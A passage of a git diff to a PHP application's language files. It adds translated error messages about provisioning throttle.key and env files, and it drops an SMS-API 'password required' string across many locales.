b/app/Language/lo/Error.php index 732c0ed3d..36dace41e 100644 --- a/app/Language/lo/Error.php +++ b/app/Language/lo/Error.php @@ -1,6 +1,14 @@ "ທ່ານບໍ່ໄດ້ຮັບອະນຸຍາດໃຫ້ເຂົ້າເຖິງຂໍ້ມູນສ່ວນນີ້", - "unknown" => "ບໍ່ຮູ້", + 'no_permission_module' => 'ທ່ານບໍ່ໄດ້ຮັບອະນຸຍາດໃຫ້ເຂົ້າເຖິງຂໍ້ມູນສ່ວນນີ້', + 'unable_to_create_env_file' => 'ບໍ່ສາມາດສ້າງ {filePath} ເພື່ອກຽມ throttle.key ໄດ້', + 'unable_to_lock_file' => 'ບໍ່ສາມາດລັອກ {filePath}: {reason}', + 'unable_to_open_lock_file' => 'ບໍ່ສາມາດເປີດ {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'ບໍ່ສາມາດບັນທຶກ throttle.key ໄປທີ່ {filePath} ໄດ້', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'ບໍ່ສາມາດອ່ານ {filePath} ເພື່ອກຽມ throttle.key ໄດ້', + 'unknown' => 'ບໍ່ຮູ້', ]; diff --git a/app/Language/ml/Config.php b/app/Language/ml/Config.php index d62d1afa4..d6901e6a8 100644 --- a/app/Language/ml/Config.php +++ b/app/Language/ml/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => '', 'msg_msg_placeholder' => '', 'msg_pwd' => '', - 'msg_pwd_required' => '', 'msg_src' => '', 'msg_src_required' => '', 'msg_uid' => '', diff --git a/app/Language/ml/Error.php b/app/Language/ml/Error.php index 64ebe1e41..175f49ebf 100644 --- a/app/Language/ml/Error.php +++ b/app/Language/ml/Error.php @@ -1,6 +1,14 @@ "", - "unknown" => "", + 'no_permission_module' => 'ഈ പേരിലുള്ള മൊഡ്യൂൾ ആക്‌സസ് ചെയ്യാൻ നിങ്ങൾക്ക് അനുമതിയില്ല', + 'unable_to_create_env_file' => 'throttle.key സജ്ജീകരിക്കാൻ {filePath} സൃഷ്‌ടിക്കാൻ കഴിഞ്ഞില്ല', + 'unable_to_lock_file' => '{filePath} ലോക്ക് ചെയ്യാൻ കഴിഞ്ഞില്ല: {reason}', + 'unable_to_open_lock_file' => '{filePath} തുറക്കാൻ കഴിഞ്ഞില്ല: {reason}', + 'unable_to_persist_throttle_key' => 'throttle.key {filePath}-ൽ സൂക്ഷിക്കാൻ കഴിഞ്ഞില്ല', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'throttle.key സജ്ജീകരിക്കാൻ {filePath} വായിക്കാൻ കഴിഞ്ഞില്ല', + 'unknown' => 'അപ്രതീക്ഷിത പിശക്', ]; diff --git a/app/Language/nb/Config.php b/app/Language/nb/Config.php index da26cc6fa..0a2289089 100644 --- a/app/Language/nb/Config.php +++ b/app/Language/nb/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => '', 'msg_msg_placeholder' => '', 'msg_pwd' => '', - 'msg_pwd_required' => '', 'msg_src' => '', 'msg_src_required' => '', 'msg_uid' => '', diff --git a/app/Language/nb/Error.php b/app/Language/nb/Error.php index 64ebe1e41..5d66de671 100644 --- a/app/Language/nb/Error.php +++ b/app/Language/nb/Error.php @@ -1,6 +1,14 @@ "", - "unknown" => "", + 'no_permission_module' => 'Du har ikke tillatelse til å få tilgang til modulen som heter', + 'unable_to_create_env_file' => 'Kan ikke opprette {filePath} for å klargjøre throttle.key', + 'unable_to_lock_file' => 'Kan ikke låse {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Kan ikke åpne {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Kan ikke lagre throttle.key til {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Kan ikke lese {filePath} for å klargjøre throttle.key', + 'unknown' => 'Uventet feil', ]; diff --git a/app/Language/nl-BE/Config.php b/app/Language/nl-BE/Config.php index a3fe73acb..b7432069a 100644 --- a/app/Language/nl-BE/Config.php +++ b/app/Language/nl-BE/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Opgeslagen SMS-bericht', 'msg_msg_placeholder' => 'Wilt u gebruik maken van een SMS-sjabloon? sla hier uw bericht op. Laat ander het vak leeg.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Wachtwoord is een verplicht veld', 'msg_src' => 'SMS-API Verzender ID', 'msg_src_required' => 'SMS-API Verzender ID is een verplicht veld', 'msg_uid' => 'SMS-API Gebruikersnaam', diff --git a/app/Language/nl-BE/Error.php b/app/Language/nl-BE/Error.php index 48e0926a7..a10a22121 100644 --- a/app/Language/nl-BE/Error.php +++ b/app/Language/nl-BE/Error.php @@ -1,6 +1,14 @@ "U hebt geen toegang tot de module genaamd", - "unknown" => "onbekend", + 'no_permission_module' => 'U hebt geen toegang tot de module genaamd', + 'unable_to_create_env_file' => 'Kan {filePath} niet aanmaken om throttle.key te voorzien', + 'unable_to_lock_file' => 'Kan {filePath} niet vergrendelen: {reason}', + 'unable_to_open_lock_file' => 'Kan {filePath} niet openen: {reason}', + 'unable_to_persist_throttle_key' => 'Kan throttle.key niet opslaan naar {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Kan {filePath} niet lezen om throttle.key te voorzien', + 'unknown' => 'onbekend', ]; diff --git a/app/Language/nl-NL/Config.php b/app/Language/nl-NL/Config.php index 68f0e7e48..4234d84a6 100644 --- a/app/Language/nl-NL/Config.php +++ b/app/Language/nl-NL/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Opgeslagen sms-bericht', 'msg_msg_placeholder' => 'Sla uw bericht hier op als u een sms-sjabloon wilt maken, zo niet laat het vak leeg.', 'msg_pwd' => 'Sms API wachtwoord', - 'msg_pwd_required' => 'Sms API wachtwoord is een vereist veld', 'msg_src' => 'Sms API afzender ID', 'msg_src_required' => 'Sms API afzender ID is een vereist veld', 'msg_uid' => 'Sms API gebruikersnaam', diff --git a/app/Language/nl-NL/Error.php b/app/Language/nl-NL/Error.php index a6dc506e5..46b1009dc 100644 --- a/app/Language/nl-NL/Error.php +++ b/app/Language/nl-NL/Error.php @@ -1,6 +1,14 @@ "U bent niet gemachtigd voor toegang tot de module genaamd", - "unknown" => "Onverwachte fout", + 'no_permission_module' => 'U bent niet gemachtigd voor toegang tot de module genaamd', + 'unable_to_create_env_file' => 'Kan {filePath} niet aanmaken om throttle.key te voorzien', + 'unable_to_lock_file' => 'Kan {filePath} niet vergrendelen: {reason}', + 'unable_to_open_lock_file' => 'Kan {filePath} niet openen: {reason}', + 'unable_to_persist_throttle_key' => 'Kan throttle.key niet opslaan naar {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Kan {filePath} niet lezen om throttle.key te voorzien', + 'unknown' => 'Onverwachte fout', ]; diff --git a/app/Language/pl/Config.php b/app/Language/pl/Config.php index 12445d8dc..a156817d2 100644 --- a/app/Language/pl/Config.php +++ b/app/Language/pl/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => '', 'msg_msg_placeholder' => '', 'msg_pwd' => '', - 'msg_pwd_required' => '', 'msg_src' => '', 'msg_src_required' => '', 'msg_uid' => '', diff --git a/app/Language/pl/Error.php b/app/Language/pl/Error.php index 35a6e713e..33f5e0d78 100644 --- a/app/Language/pl/Error.php +++ b/app/Language/pl/Error.php @@ -1,6 +1,14 @@ "Nie masz dostępu do modułu", - "unknown" => "Niespodziewany błąd", + 'no_permission_module' => 'Nie masz dostępu do modułu', + 'unable_to_create_env_file' => 'Nie można utworzyć {filePath}, aby przygotować throttle.key', + 'unable_to_lock_file' => 'Nie można zablokować {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Nie można otworzyć {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Nie można zapisać throttle.key w {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Nie można odczytać {filePath}, aby przygotować throttle.key', + 'unknown' => 'Niespodziewany błąd', ]; diff --git a/app/Language/pt-BR/Config.php b/app/Language/pt-BR/Config.php index 04a6b1d99..079794b85 100644 --- a/app/Language/pt-BR/Config.php +++ b/app/Language/pt-BR/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Salvar mensagem de texto', 'msg_msg_placeholder' => 'Se você deseja usar um modelo de SMS salvar a sua mensagem aqui. Caso contrário, deixe a caixa em branco.', 'msg_pwd' => 'SMS-API senha', - 'msg_pwd_required' => 'SMS-API Senha é um campo obrigatório', 'msg_src' => 'SMS-API Remetente ID', 'msg_src_required' => 'SMS-API Remetente ID é um campo obrigatório', 'msg_uid' => 'SMS-API usuário', diff --git a/app/Language/pt-BR/Error.php b/app/Language/pt-BR/Error.php index d63d1da4d..b524104dd 100644 --- a/app/Language/pt-BR/Error.php +++ b/app/Language/pt-BR/Error.php @@ -1,6 +1,14 @@ "Você não tem permissão para acessar o módulo chamado", - "unknown" => "Desconhecido", + 'no_permission_module' => 'Você não tem permissão para acessar o módulo chamado', + 'unable_to_create_env_file' => 'Não foi possível criar {filePath} para provisionar throttle.key', + 'unable_to_lock_file' => 'Não foi possível bloquear {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Não foi possível abrir {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Não foi possível persistir throttle.key em {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Não foi possível ler {filePath} para provisionar throttle.key', + 'unknown' => 'Desconhecido', ]; diff --git a/app/Language/ro/Config.php b/app/Language/ro/Config.php index 0170187bc..c6cd733d0 100644 --- a/app/Language/ro/Config.php +++ b/app/Language/ro/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => '', 'msg_msg_placeholder' => '', 'msg_pwd' => '', - 'msg_pwd_required' => '', 'msg_src' => '', 'msg_src_required' => '', 'msg_uid' => '', diff --git a/app/Language/ro/Error.php b/app/Language/ro/Error.php index b81903d5a..d1b54166b 100644 --- a/app/Language/ro/Error.php +++ b/app/Language/ro/Error.php @@ -1,6 +1,14 @@ "Nu aveti permisiunea de acces a modulului numit", - "unknown" => "Eroare neasteptata", + 'no_permission_module' => 'Nu aveti permisiunea de acces a modulului numit', + 'unable_to_create_env_file' => 'Nu s-a putut crea {filePath} pentru a aproviziona throttle.key', + 'unable_to_lock_file' => 'Nu s-a putut bloca {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Nu s-a putut deschide {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Nu s-a putut persista throttle.key in {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Nu s-a putut citi {filePath} pentru a aproviziona throttle.key', + 'unknown' => 'Eroare neasteptata', ]; diff --git a/app/Language/ru/Config.php b/app/Language/ru/Config.php index 49470c564..6a772bb41 100644 --- a/app/Language/ru/Config.php +++ b/app/Language/ru/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Сохраненные текстовые сообщения', 'msg_msg_placeholder' => 'Если вы хотите использовать шаблон SMS, сохраните свое сообщение здесь, в противном случае оставьте поле пустым.', 'msg_pwd' => 'Пароль SMS-API', - 'msg_pwd_required' => 'Пароль SMS-API - обязательное поле', 'msg_src' => 'ID отправителя SMS-API', 'msg_src_required' => 'ID отправителя SMS-API - обязательное поле', 'msg_uid' => 'Пользователь SMS-API', diff --git a/app/Language/ru/Error.php b/app/Language/ru/Error.php index 1c097af52..39e767e00 100644 --- a/app/Language/ru/Error.php +++ b/app/Language/ru/Error.php @@ -1,6 +1,14 @@ "У вас нет разрешения на доступ к модулю", - "unknown" => "Неизвестная ошибка", + 'no_permission_module' => 'У вас нет разрешения на доступ к модулю', + 'unable_to_create_env_file' => 'Не удалось создать {filePath} для настройки throttle.key', + 'unable_to_lock_file' => 'Не удалось заблокировать {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Не удалось открыть {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Не удалось сохранить throttle.key в {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Не удалось прочитать {filePath} для настройки throttle.key', + 'unknown' => 'Неизвестная ошибка', ]; diff --git a/app/Language/sv/Config.php b/app/Language/sv/Config.php index fa755aa94..af545ad2e 100644 --- a/app/Language/sv/Config.php +++ b/app/Language/sv/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Sparade SMS', 'msg_msg_placeholder' => 'Om du vill använda en SMS-mall, spara ditt meddelande här, annars lämna rutan tomt.', 'msg_pwd' => 'SMS-API-lösenord', - 'msg_pwd_required' => 'SMS-API lösenord är ett obligatoriskt fält', 'msg_src' => 'SMS-API Sender-ID', 'msg_src_required' => 'SMS-API Sender-ID är ett obligatoriskt fält', 'msg_uid' => 'SMS-API Användarnamn', diff --git a/app/Language/sv/Error.php b/app/Language/sv/Error.php index 2a6a0caaa..ef99bea07 100644 --- a/app/Language/sv/Error.php +++ b/app/Language/sv/Error.php @@ -1,6 +1,14 @@ "Du har inte rättigheter till modulen", - "unknown" => "Oväntat fel", + 'no_permission_module' => 'Du har inte rättigheter till modulen', + 'unable_to_create_env_file' => 'Det gick inte att skapa {filePath} för att etablera throttle.key', + 'unable_to_lock_file' => 'Det gick inte att låsa {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Det gick inte att öppna {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Det gick inte att spara throttle.key i {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Det gick inte att läsa {filePath} för att etablera throttle.key', + 'unknown' => 'Oväntat fel', ]; diff --git a/app/Language/sw-KE/Config.php b/app/Language/sw-KE/Config.php index 2ce7dfc0d..8ca0caf26 100644 --- a/app/Language/sw-KE/Config.php +++ b/app/Language/sw-KE/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Ujumbe wa SMS uliohifadhiwa', 'msg_msg_placeholder' => 'Ikiwa unataka kutumia kiolezo cha SMS hifadhi ujumbe wako hapa, vinginevyo acha kisanduku wazi.', 'msg_pwd' => 'Nenosiri la SMS-API', - 'msg_pwd_required' => 'Nenosiri la SMS-API ni kiashiria kinachohitajika', 'msg_src' => 'ID ya Mtumaji wa SMS-API', 'msg_src_required' => 'ID ya Mtumaji wa SMS-API ni kiashiria kinachohitajika', 'msg_uid' => 'Jina la Mtumiaji la SMS-API', diff --git a/app/Language/sw-KE/Error.php b/app/Language/sw-KE/Error.php index 46b3d5d83..40e039a9b 100644 --- a/app/Language/sw-KE/Error.php +++ b/app/Language/sw-KE/Error.php @@ -1,6 +1,14 @@ "Huna ruhusa ya kufikia moduli iliyoitwa", - "unknown" => "Hitilafu isiyotarajiwa", -]; \ No newline at end of file + 'no_permission_module' => 'Huna ruhusa ya kufikia moduli iliyoitwa', + 'unable_to_create_env_file' => 'Imeshindwa kuunda {filePath} kutayarisha throttle.key', + 'unable_to_lock_file' => 'Imeshindwa kufunga {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Imeshindwa kufungua {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Imeshindwa kuhifadhi throttle.key katika {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Imeshindwa kusoma {filePath} kutayarisha throttle.key', + 'unknown' => 'Hitilafu isiyotarajiwa', +]; diff --git a/app/Language/sw-TZ/Config.php b/app/Language/sw-TZ/Config.php index af469d0ee..5e2692474 100644 --- a/app/Language/sw-TZ/Config.php +++ b/app/Language/sw-TZ/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Ujumbe wa SMS uliohifadhiwa', 'msg_msg_placeholder' => 'Ikiwa unataka kutumia kiolezo cha SMS hifadhi ujumbe wako hapa, vinginevyo acha kisanduku wazi.', 'msg_pwd' => 'Nenosiri la SMS-API', - 'msg_pwd_required' => 'Nenosiri la SMS-API ni kiashiria kinachohitajika', 'msg_src' => 'ID ya Mtumaji wa SMS-API', 'msg_src_required' => 'ID ya Mtumaji wa SMS-API ni kiashiria kinachohitajika', 'msg_uid' => 'Jina la Mtumiaji la SMS-API', diff --git a/app/Language/sw-TZ/Error.php b/app/Language/sw-TZ/Error.php index 46b3d5d83..40e039a9b 100644 --- a/app/Language/sw-TZ/Error.php +++ b/app/Language/sw-TZ/Error.php @@ -1,6 +1,14 @@ "Huna ruhusa ya kufikia moduli iliyoitwa", - "unknown" => "Hitilafu isiyotarajiwa", -]; \ No newline at end of file + 'no_permission_module' => 'Huna ruhusa ya kufikia moduli iliyoitwa', + 'unable_to_create_env_file' => 'Imeshindwa kuunda {filePath} kutayarisha throttle.key', + 'unable_to_lock_file' => 'Imeshindwa kufunga {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Imeshindwa kufungua {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Imeshindwa kuhifadhi throttle.key katika {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Imeshindwa kusoma {filePath} kutayarisha throttle.key', + 'unknown' => 'Hitilafu isiyotarajiwa', +]; diff --git a/app/Language/ta/Config.php b/app/Language/ta/Config.php index c0508fb87..9733fe5fe 100644 --- a/app/Language/ta/Config.php +++ b/app/Language/ta/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Saved Text Message', 'msg_msg_placeholder' => 'If you wish to use a SMS template save your message here, otherwise leave the box blank.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password is a required field', 'msg_src' => 'SMS-API Sender ID', 'msg_src_required' => 'SMS-API Sender ID is a required field', 'msg_uid' => 'SMS-API Username', diff --git a/app/Language/ta/Error.php b/app/Language/ta/Error.php index 7e7b2189c..41838b567 100644 --- a/app/Language/ta/Error.php +++ b/app/Language/ta/Error.php @@ -1,6 +1,14 @@ "பெயரிடப்பட்ட தொகுதியை பயன்படுத்த உங்களுக்கு அனுமதி இல்லை", - "unknown" => "எதிர்பாராத பிழை", + 'no_permission_module' => 'பெயரிடப்பட்ட தொகுதியை பயன்படுத்த உங்களுக்கு அனுமதி இல்லை', + 'unable_to_create_env_file' => 'throttle.key ஐ ஏற்பாடு செய்ய {filePath} ஐ உருவாக்க முடியவில்லை', + 'unable_to_lock_file' => '{filePath} ஐ பூட்ட முடியவில்லை: {reason}', + 'unable_to_open_lock_file' => '{filePath} ஐ திறக்க முடியவில்லை: {reason}', + 'unable_to_persist_throttle_key' => 'throttle.key ஐ {filePath} இல் நிலைநிறுத்த முடியவில்லை', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'throttle.key ஐ ஏற்பாடு செய்ய {filePath} ஐ படிக்க முடியவில்லை', + 'unknown' => 'எதிர்பாராத பிழை', ]; diff --git a/app/Language/th/Config.php b/app/Language/th/Config.php index 62c59f6a9..7cc25761e 100644 --- a/app/Language/th/Config.php +++ b/app/Language/th/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'ข้อความที่ถูกบักทึกไว้', 'msg_msg_placeholder' => 'สร้างข้อความ SMS template ที่นี่', 'msg_pwd' => 'รหัสผ่านของ SMS-API', - 'msg_pwd_required' => 'จำเป็นต้องป้อน รหัสผ่านของ SMS-API', 'msg_src' => 'ID ผู้ส่ง (SMS-API)', 'msg_src_required' => 'จำเป็นต้องป้อน ID ผู้ส่ง', 'msg_uid' => 'ชื่อผู้ใช้งานระบบ SMS-API', diff --git a/app/Language/th/Error.php b/app/Language/th/Error.php index 70a2c033b..0944e4427 100644 --- a/app/Language/th/Error.php +++ b/app/Language/th/Error.php @@ -1,6 +1,14 @@ "คุณไม่ได้รับสิทธิ์การเข้าถึงข้อมูลในส่วนนี้", - "unknown" => "ไม่ทราบ", + 'no_permission_module' => 'คุณไม่ได้รับสิทธิ์การเข้าถึงข้อมูลในส่วนนี้', + 'unable_to_create_env_file' => 'ไม่สามารถสร้าง {filePath} เพื่อกำหนดค่า throttle.key ได้', + 'unable_to_lock_file' => 'ไม่สามารถล็อกไฟล์ {filePath} ได้: {reason}', + 'unable_to_open_lock_file' => 'ไม่สามารถเปิดไฟล์ {filePath} ได้: {reason}', + 'unable_to_persist_throttle_key' => 'ไม่สามารถบันทึก throttle.key ลงใน {filePath} ได้', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'ไม่สามารถอ่าน {filePath} เพื่อกำหนดค่า throttle.key ได้', + 'unknown' => 'ไม่ทราบ', ]; diff --git a/app/Language/tl/Config.php b/app/Language/tl/Config.php index 3f6af2c87..aa414370c 100644 --- a/app/Language/tl/Config.php +++ b/app/Language/tl/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Saved Text Message', 'msg_msg_placeholder' => 'If you wish to use a SMS template save your message here, otherwise leave the box blank.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password is a required field', 'msg_src' => 'SMS-API Sender ID', 'msg_src_required' => 'SMS-API Sender ID is a required field', 'msg_uid' => 'SMS-API Username', diff --git a/app/Language/tl/Error.php b/app/Language/tl/Error.php index ace67fbb1..b594b05db 100644 --- a/app/Language/tl/Error.php +++ b/app/Language/tl/Error.php @@ -1,6 +1,14 @@ "You do not have permission to access the module named", - "unknown" => "Unexpected error", + 'no_permission_module' => 'Wala kang pahintulot na gamitin ang module na pinangalanang', + 'unable_to_create_env_file' => 'Hindi magawa ang {filePath} para itakda ang throttle.key', + 'unable_to_lock_file' => 'Hindi ma-lock ang {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Hindi mabuksan ang {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Hindi ma-save ang throttle.key sa {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Hindi mabasa ang {filePath} para itakda ang throttle.key', + 'unknown' => 'Hindi inaasahang error', ]; diff --git a/app/Language/tr/Config.php b/app/Language/tr/Config.php index b7032f8ce..7619448c2 100644 --- a/app/Language/tr/Config.php +++ b/app/Language/tr/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Kaydedilen Metin İletisi', 'msg_msg_placeholder' => 'Eğer bir SMS şablonu kullanmak isterseniz iletinizi buraya kaydediniz. Ya da kutuyu boş bırakınız.', 'msg_pwd' => 'SMS-API Parolası', - 'msg_pwd_required' => 'SMS-API Parola zorunlu bir alandır', 'msg_src' => 'SMS-API Gönderici Kimliği', 'msg_src_required' => 'SMS-API Gönderici Kimliği zorunlu bir alandır', 'msg_uid' => 'SMS-API Kullanıcı Adı', diff --git a/app/Language/tr/Error.php b/app/Language/tr/Error.php index 28d640714..a4b7ba20b 100644 --- a/app/Language/tr/Error.php +++ b/app/Language/tr/Error.php @@ -1,6 +1,14 @@ "Bu modüle erişim yetkiniz yok", - "unknown" => "bilinmeyen", + 'no_permission_module' => 'Bu modüle erişim yetkiniz yok', + 'unable_to_create_env_file' => 'throttle.key değerini ayarlamak için {filePath} oluşturulamadı', + 'unable_to_lock_file' => '{filePath} kilitlenemedi: {reason}', + 'unable_to_open_lock_file' => '{filePath} açılamadı: {reason}', + 'unable_to_persist_throttle_key' => 'throttle.key, {filePath} içine kaydedilemedi', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'throttle.key değerini ayarlamak için {filePath} okunamadı', + 'unknown' => 'bilinmeyen', ]; diff --git a/app/Language/uk/Config.php b/app/Language/uk/Config.php index 9420e2580..6a46a8bd0 100644 --- a/app/Language/uk/Config.php +++ b/app/Language/uk/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Збережене текстове повідомлення', 'msg_msg_placeholder' => 'Якщо ви хочете використовувати шаблон SMS, збережіть своє повідомлення тут або залиште поле порожнім', 'msg_pwd' => 'Пароль SMS-API', - 'msg_pwd_required' => "Пароль SMS-API - обов'язкове поле", 'msg_src' => 'Ідентифікатор відправника SMS-API', 'msg_src_required' => "Ідентифікатор відправника SMS-API - обов'язкове поле", 'msg_uid' => "Ім'я користувача SMS-API", diff --git a/app/Language/uk/Error.php b/app/Language/uk/Error.php index 0729636e8..618494c07 100644 --- a/app/Language/uk/Error.php +++ b/app/Language/uk/Error.php @@ -1,6 +1,14 @@ "У вас немає дозволу на доступ до модуля", - "unknown" => "Невідомий", + 'no_permission_module' => 'У вас немає дозволу на доступ до модуля', + 'unable_to_create_env_file' => 'Не вдалося створити {filePath} для налаштування throttle.key', + 'unable_to_lock_file' => 'Не вдалося заблокувати {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Не вдалося відкрити {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Не вдалося зберегти throttle.key у {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Не вдалося прочитати {filePath} для налаштування throttle.key', + 'unknown' => 'Невідомий', ]; diff --git a/app/Language/ur/Config.php b/app/Language/ur/Config.php index 23ddbae44..3bab550bc 100644 --- a/app/Language/ur/Config.php +++ b/app/Language/ur/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => '', 'msg_msg_placeholder' => '', 'msg_pwd' => '', - 'msg_pwd_required' => '', 'msg_src' => '', 'msg_src_required' => '', 'msg_uid' => '', diff --git a/app/Language/ur/Error.php b/app/Language/ur/Error.php index 54b55d655..98645da40 100644 --- a/app/Language/ur/Error.php +++ b/app/Language/ur/Error.php @@ -1,6 +1,14 @@ "آپ کو اس ماڈیول تک رسائی کی اجازت نہیں ہے", - "unknown" => "غیر متوقع رکاوٹ", + 'no_permission_module' => 'آپ کو اس ماڈیول تک رسائی کی اجازت نہیں ہے', + 'unable_to_create_env_file' => 'throttle.key ترتیب دینے کے لیے {filePath} نہیں بنائی جا سکی', + 'unable_to_lock_file' => '{filePath} کو لاک نہیں کیا جا سکا: {reason}', + 'unable_to_open_lock_file' => '{filePath} کو کھولا نہیں جا سکا: {reason}', + 'unable_to_persist_throttle_key' => 'throttle.key کو {filePath} میں محفوظ نہیں کیا جا سکا', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'throttle.key ترتیب دینے کے لیے {filePath} پڑھی نہیں جا سکی', + 'unknown' => 'غیر متوقع رکاوٹ', ]; diff --git a/app/Language/vi/Config.php b/app/Language/vi/Config.php index 016360b92..c890022b3 100644 --- a/app/Language/vi/Config.php +++ b/app/Language/vi/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Tin nhắn văn bản đã lưu', 'msg_msg_placeholder' => 'Nếu bạn muốn dùng một mẫu thì lưu lại các tin nhắn SMS ở đây, nếu không thì để trống.', 'msg_pwd' => 'Mật khẩu SMS-API', - 'msg_pwd_required' => 'Mật khẩu SMS-API là trường bắt buộc', 'msg_src' => 'Mã số bộ gửi SMS-API', 'msg_src_required' => 'Mã số bộ gửi SMS-API là trường bắt buộc', 'msg_uid' => 'Tài khoản SMS-API', diff --git a/app/Language/vi/Error.php b/app/Language/vi/Error.php index fae35e08c..89a13eb46 100644 --- a/app/Language/vi/Error.php +++ b/app/Language/vi/Error.php @@ -1,6 +1,14 @@ "Bạn không có thẩm quyền truy cập vào mô đun đó", - "unknown" => "Lỗi chưa biết", + 'no_permission_module' => 'Bạn không có thẩm quyền truy cập vào mô đun đó', + 'unable_to_create_env_file' => 'Không thể tạo {filePath} để thiết lập throttle.key', + 'unable_to_lock_file' => 'Không thể khóa {filePath}: {reason}', + 'unable_to_open_lock_file' => 'Không thể mở {filePath}: {reason}', + 'unable_to_persist_throttle_key' => 'Không thể lưu throttle.key vào {filePath}', + 'unable_to_persist_encryption_key' => '', + 'encryption_key_not_provisioned' => '', + 'throttle_key_not_provisioned' => '', + 'unable_to_read_env_file' => 'Không thể đọc {filePath} để thiết lập throttle.key', + 'unknown' => 'Lỗi chưa biết', ]; diff --git a/app/Language/zh-Hans/Config.php b/app/Language/zh-Hans/Config.php index 5483da7a1..21c77b8e5 100644 --- a/app/Language/zh-Hans/Config.php +++ b/app/Language/zh-Hans/Config.php @@ -210,7 +210,6 @@ return [ 'msg_msg' => 'Saved Text Message', 'msg_msg_placeholder' => 'If you wish to use a SMS template save your message here. Otherwise leave the box blank.', 'msg_pwd' => 'SMS-API Password', - 'msg_pwd_required' => 'SMS-API Password is a required field', 'msg_src' => 'SMS-API Sender ID', 'msg_src_required' => 'SMS-API Sender ID is a required field', 'msg_uid' => 'SMS-API Username', diff --git a/app/Language/zh-Hans/Error.php b/app/Language/zh-Hans/Error.php index 